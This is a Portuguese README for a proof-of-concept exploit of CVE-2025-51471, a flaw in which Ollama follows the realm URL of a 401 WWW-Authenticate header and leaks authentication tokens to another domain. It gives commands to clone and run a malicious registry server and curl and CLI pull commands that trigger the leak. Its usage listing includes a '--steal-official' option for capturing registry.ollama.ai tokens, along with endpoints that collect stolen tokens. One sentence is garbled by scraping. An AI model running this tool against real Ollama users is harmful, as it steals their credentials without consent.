
Este PoC é apenas para fins educacionais e de testes de segurança autorizados. NÃO use contra sistemas que você não possui.
Autor: ajtazer
Este repositório contém uma Prova de Conceito (PoC) para CVE-2025-51471, uma vulnerabilidade de Exposição de Token de Autenticação entre Domínios que afeta todas as versões do Ollama (incluindo as mais recentes).
Quando o Ollama baixa um modelo de um servidor HTTPS que responde com 401 Unauthorized, ele segue a URL realm do cabeçalho WWW-Authenticate [...]
Isso permite que um atacante:
401 com um cabeçalho WWW-Authenticate apontando para um endpoint controlado pelo atacanteregistry.ollama.aipip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model
Demonstrei esta PoC em um vídeo curto — assista aqui:
Nota (modo HTTPS no macOS): Se você estiver usando o modo HTTPS, adicione o certificado gerado ao seu keychain ou use o modo HTTP com
--no-ssl.
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Options:
--port, -p PORT Port to listen on (default: 8080)
--no-ssl Use HTTP instead of HTTPS
--steal-official, -s Redirect to steal registry.ollama.ai tokens
--no-verbose Disable verbose output
| Endpoint | Descrição |
|---|---|
/v2/* | Endpoint de registry falso (dispara o exploit) |
/v2/token | Endpoint de captura de token |
/tokens | Visualizar todos os tokens capturados (JSON) |
/health | Verificação de integridade do servidor |
Esta PoC é apenas para fins de teste de segurança educacional e autorizado. NÃO a utilize contra sistemas que você não possui.
Feito com ❤️ usando Antigravity